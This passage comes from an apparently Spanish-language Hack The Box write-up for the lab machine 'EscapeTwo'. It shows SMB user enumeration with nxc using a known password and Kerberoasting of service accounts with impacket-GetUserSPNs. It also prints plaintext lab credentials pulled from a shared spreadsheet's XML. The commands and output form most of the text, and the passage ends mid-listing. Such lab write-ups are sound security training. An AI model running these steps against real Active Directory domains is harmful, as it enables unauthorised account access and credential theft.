&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;─&lt;/span&gt;&lt;span style="color:#75715e"&gt;# nxc smb 10.129.69.156 -u rose -p &amp;#39;KxEPkKe6R8su&amp;#39; --users&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;SMB &lt;span style="color:#ae81ff"&gt;10.129&lt;/span&gt;.69.156 &lt;span style="color:#ae81ff"&gt;445&lt;/span&gt; DC01 [*] Windows &lt;span style="color:#ae81ff"&gt;10&lt;/span&gt; / Server &lt;span style="color:#ae81ff"&gt;2019&lt;/span&gt; Build &lt;span style="color:#ae81ff"&gt;17763&lt;/span&gt; x64 (name&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;DC01) (domain&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;sequel.htb) (signing&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;True) (SMBv1&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;False)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;SMB &lt;span style="color:#ae81ff"&gt;10.129&lt;/span&gt;.69.156 &lt;span style="color:#ae81ff"&gt;445&lt;/span&gt; DC01 [+] sequel.htb\rose&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;KxEPkKe6R8su
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;SMB &lt;span style="color:#ae81ff"&gt;10.129&lt;/span&gt;.69.156 &lt;span style="color:#ae81ff"&gt;445&lt;/span&gt; DC01 -Username- -Last PW Set- -BadPW- -Description-
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;SMB &lt;span style="color:#ae81ff"&gt;10.129&lt;/span&gt;.69.156 &lt;span style="color:#ae81ff"&gt;445&lt;/span&gt; DC01 Administrator &lt;span style="color:#ae81ff"&gt;2024&lt;/span&gt;-&lt;span style="color:#ae81ff"&gt;06&lt;/span&gt;-&lt;span style="color:#ae81ff"&gt;08&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;16&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;32&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;20&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt; Built-in account &lt;span style="color:#66d9ef"&gt;for&lt;/span&gt; administering the computer/domain
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;SMB &lt;span style="color:#ae81ff"&gt;10.129&lt;/span&gt;.69.156 &lt;span style="color:#ae81ff"&gt;445&lt;/span&gt; DC01 Guest &lt;span style="color:#ae81ff"&gt;2024&lt;/span&gt;-&lt;span style="color:#ae81ff"&gt;12&lt;/span&gt;-&lt;span style="color:#ae81ff"&gt;25&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;14&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;44&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;53&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt; Built-in account &lt;span style="color:#66d9ef"&gt;for&lt;/span&gt; guest access to the computer/domain
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;SMB &lt;span style="color:#ae81ff"&gt;10.129&lt;/span&gt;.69.156 &lt;span style="color:#ae81ff"&gt;445&lt;/span&gt; DC01 krbtgt &lt;span style="color:#ae81ff"&gt;2024&lt;/span&gt;-&lt;span style="color:#ae81ff"&gt;06&lt;/span&gt;-&lt;span style="color:#ae81ff"&gt;08&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;16&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;40&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;23&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt; Key Distribution Center Service Account
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;SMB &lt;span style="color:#ae81ff"&gt;10.129&lt;/span&gt;.69.156 &lt;span style="color:#ae81ff"&gt;445&lt;/span&gt; DC01 michael &lt;span style="color:#ae81ff"&gt;2024&lt;/span&gt;-&lt;span style="color:#ae81ff"&gt;06&lt;/span&gt;-&lt;span style="color:#ae81ff"&gt;08&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;16&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;47&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;37&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;SMB &lt;span style="color:#ae81ff"&gt;10.129&lt;/span&gt;.69.156 &lt;span style="color:#ae81ff"&gt;445&lt;/span&gt; DC01 ryan &lt;span style="color:#ae81ff"&gt;2024&lt;/span&gt;-&lt;span style="color:#ae81ff"&gt;06&lt;/span&gt;-&lt;span style="color:#ae81ff"&gt;08&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;16&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;55&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;45&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;SMB &lt;span style="color:#ae81ff"&gt;10.129&lt;/span&gt;.69.156 &lt;span style="color:#ae81ff"&gt;445&lt;/span&gt; DC01 oscar &lt;span style="color:#ae81ff"&gt;2024&lt;/span&gt;-&lt;span style="color:#ae81ff"&gt;06&lt;/span&gt;-&lt;span style="color:#ae81ff"&gt;08&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;16&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;56&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;36&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;SMB &lt;span style="color:#ae81ff"&gt;10.129&lt;/span&gt;.69.156 &lt;span style="color:#ae81ff"&gt;445&lt;/span&gt; DC01 sql_svc &lt;span style="color:#ae81ff"&gt;2024&lt;/span&gt;-&lt;span style="color:#ae81ff"&gt;06&lt;/span&gt;-&lt;span style="color:#ae81ff"&gt;09&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;07&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;58&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;42&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;SMB &lt;span style="color:#ae81ff"&gt;10.129&lt;/span&gt;.69.156 &lt;span style="color:#ae81ff"&gt;445&lt;/span&gt; DC01 rose &lt;span style="color:#ae81ff"&gt;2024&lt;/span&gt;-&lt;span style="color:#ae81ff"&gt;12&lt;/span&gt;-&lt;span style="color:#ae81ff"&gt;25&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;14&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;44&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;54&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;SMB &lt;span style="color:#ae81ff"&gt;10.129&lt;/span&gt;.69.156 &lt;span style="color:#ae81ff"&gt;445&lt;/span&gt; DC01 ca_svc &lt;span style="color:#ae81ff"&gt;2026&lt;/span&gt;-&lt;span style="color:#ae81ff"&gt;01&lt;/span&gt;-&lt;span style="color:#ae81ff"&gt;11&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;11&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;07&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;38&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;SMB &lt;span style="color:#ae81ff"&gt;10.129&lt;/span&gt;.69.156 &lt;span style="color:#ae81ff"&gt;445&lt;/span&gt; DC01 [*] Enumerated &lt;span style="color:#ae81ff"&gt;9&lt;/span&gt; local users&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; SEQUEL
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Como aparecían dos cuentas de servicio (&lt;strong&gt;sql_svc&lt;/strong&gt; y &lt;strong&gt;ca_svc&lt;/strong&gt;), probé Kerberoasting para pedir SPNs:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;┌──&lt;/span&gt;(root&lt;span style="color:#960050;background-color:#1e0010"&gt;㉿&lt;/span&gt;kali)-[/home/&lt;span style="color:#960050;background-color:#1e0010"&gt;…&lt;/span&gt;/Desktop/HTB/EscapeTwo/scan]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;└─&lt;/span&gt;&lt;span style="color:#75715e"&gt;# impacket-GetUserSPNs -dc-ip 10.129.69.156 sequel.htb/rose &lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Password&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ServicePrincipalName Name MemberOf PasswordLastSet LastLogon Delegation
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;----------------------- ------- ---------------------------------------------------- -------------------------- -------------------------- ----------
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sequel.htb/sql_svc.DC01 sql_svc CN=SQLRUserGroupSQLEXPRESS,CN=Users,DC=sequel,DC=htb &lt;span style="color:#ae81ff"&gt;2024&lt;/span&gt;-&lt;span style="color:#ae81ff"&gt;06&lt;/span&gt;-&lt;span style="color:#ae81ff"&gt;09&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;09&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;58&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;42.689521&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;2026&lt;/span&gt;-&lt;span style="color:#ae81ff"&gt;01&lt;/span&gt;-&lt;span style="color:#ae81ff"&gt;11&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;11&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;58&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;35.361372&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sequel.htb/ca_svc.DC01 ca_svc CN=Cert Publishers,CN=Users,DC=sequel,DC=htb &lt;span style="color:#ae81ff"&gt;2026&lt;/span&gt;-&lt;span style="color:#ae81ff"&gt;01&lt;/span&gt;-&lt;span style="color:#ae81ff"&gt;11&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;12&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;22&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;29.121764&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;2024&lt;/span&gt;-&lt;span style="color:#ae81ff"&gt;06&lt;/span&gt;-&lt;span style="color:#ae81ff"&gt;09&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;19&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;14&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;42.333365&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Pedí los tickets:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/319888fa-f353-803f-ad9d-ca0c164e47ab.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Intenté crackearlos, pero no lo conseguí.&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id="credenciales-dentro-del-excel-accountsxlsx"&gt;Credenciales dentro del Excel (accounts.xlsx)&lt;/h3&gt;
&lt;p&gt;Volví a los ficheros del SMB y me fijé en &lt;code&gt;accounts.xlsx&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;┌──&lt;/span&gt;(kali&lt;span style="color:#960050;background-color:#1e0010"&gt;㉿&lt;/span&gt;kali)-[~/Downloads]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;└─&lt;/span&gt;$ file accounts.xlsx
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;accounts.xlsx&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; Zip archive data, made by v2.&lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;, extract using at least v2.&lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;, last modified, last modified Sun, Jun &lt;span style="color:#ae81ff"&gt;09&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;2024&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;10&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;47&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;44&lt;/span&gt;, uncompressed size &lt;span style="color:#ae81ff"&gt;681&lt;/span&gt;, method=deflate
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Al ver que era un ZIP, lo descomprimí con &lt;code&gt;unzip&lt;/code&gt; y analicé el contenido. Ahí encontré credenciales.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/319888fa-f353-8027-a0bc-e3ef0424ced8.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;En &lt;code&gt;sharedStrings.xml&lt;/code&gt; se veían los valores:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/319888fa-f353-80a3-9f43-c4ca26b3641b.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Y al formatearlo con &lt;code&gt;xmllint&lt;/code&gt; aparecían las credenciales:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;┌──&lt;/span&gt;(kali&lt;span style="color:#960050;background-color:#1e0010"&gt;㉿&lt;/span&gt;kali)-[~/Downloads/xl]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;└─&lt;/span&gt;$ xmllint --format sharedStrings.xml
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;&lt;span style="color:#66d9ef"&gt;?&lt;/span&gt;xml version=&lt;span style="color:#e6db74"&gt;&amp;#34;1.0&amp;#34;&lt;/span&gt; encoding=&lt;span style="color:#e6db74"&gt;&amp;#34;UTF-8&amp;#34;&lt;/span&gt; standalone=&lt;span style="color:#e6db74"&gt;&amp;#34;yes&amp;#34;&lt;/span&gt;?&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;sst xmlns=&lt;span style="color:#e6db74"&gt;&amp;#34;http://schemas.openxmlformats.org/spreadsheetml/2006/main&amp;#34;&lt;/span&gt; count=&lt;span style="color:#e6db74"&gt;&amp;#34;25&amp;#34;&lt;/span&gt; uniqueCount=&lt;span style="color:#e6db74"&gt;&amp;#34;24&amp;#34;&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;si&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;t xml&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;space=&lt;span style="color:#e6db74"&gt;&amp;#34;preserve&amp;#34;&lt;/span&gt;&amp;gt;First Name&amp;lt;/t&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;/si&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;si&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;t xml&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;space=&lt;span style="color:#e6db74"&gt;&amp;#34;preserve&amp;#34;&lt;/span&gt;&amp;gt;Last Name&amp;lt;/t&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;/si&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;si&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;t xml&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;space=&lt;span style="color:#e6db74"&gt;&amp;#34;preserve&amp;#34;&lt;/span&gt;&amp;gt;Email&amp;lt;/t&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;/si&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;si&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;t xml&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;space=&lt;span style="color:#e6db74"&gt;&amp;#34;preserve&amp;#34;&lt;/span&gt;&amp;gt;Username&amp;lt;/t&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;/si&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;si&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;t xml&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;space=&lt;span style="color:#e6db74"&gt;&amp;#34;preserve&amp;#34;&lt;/span&gt;&amp;gt;Password&amp;lt;/t&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;/si&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;si&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;t xml&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;space=&lt;span style="color:#e6db74"&gt;&amp;#34;preserve&amp;#34;&lt;/span&gt;&amp;gt;Angela&amp;lt;/t&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;/si&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;si&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;t xml&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;space=&lt;span style="color:#e6db74"&gt;&amp;#34;preserve&amp;#34;&lt;/span&gt;&amp;gt;Martin&amp;lt;/t&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;/si&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;si&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;t xml&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;space=&lt;span style="color:#e6db74"&gt;&amp;#34;preserve&amp;#34;&lt;/span&gt;&amp;gt;angela@sequel.htb&amp;lt;/t&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;/si&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;si&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;t xml&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;space=&lt;span style="color:#e6db74"&gt;&amp;#34;preserve&amp;#34;&lt;/span&gt;&amp;gt;angela&amp;lt;/t&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;/si&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;si&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;t xml&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;space=&lt;span style="color:#e6db74"&gt;&amp;#34;preserve&amp;#34;&lt;/span&gt;&amp;gt;0fwz7Q4mSpurIt99&amp;lt;/t&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;/si&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;si&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;t xml&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;space=&lt;span style="color:#e6db74"&gt;&amp;#34;preserve&amp;#34;&lt;/span&gt;&amp;gt;Oscar&amp;lt;/t&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;/si&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;si&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;t xml&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;space=&lt;span style="color:#e6db74"&gt;&amp;#34;preserve&amp;#34;&lt;/span&gt;&amp;gt;Martinez&amp;lt;/t&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;/si&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;si&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;t xml&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;space=&lt;span style="color:#e6db74"&gt;&amp;#34;preserve&amp;#34;&lt;/span&gt;&amp;gt;oscar@sequel.htb&amp;lt;/t&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;/si&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;si&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;t xml&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;space=&lt;span style="color:#e6db74"&gt;&amp;#34;preserve&amp;#34;&lt;/span&gt;&amp;gt;oscar&amp;lt;/t&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;/si&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;si&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;t xml&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;space=&lt;span style="color:#e6db74"&gt;&amp;#34;preserve&amp;#34;&lt;/span&gt;&amp;gt;86LxLBMgEWaKUnBG&amp;lt;/t&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;/si&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;si&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;t xml&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;space=&lt;span style="color:#e6db74"&gt;&amp;#34;preserve&amp;#34;&lt;/span&gt;&amp;gt;Kevin&amp;lt;/t&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;/si&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;si&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;t xml&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;space=&lt;span style="color:#e6db74"&gt;&amp;#34;preserve&amp;#34;&lt;/span&gt;&amp;gt;Malone&amp;lt;/t&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;/si&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;si&amp;gt;
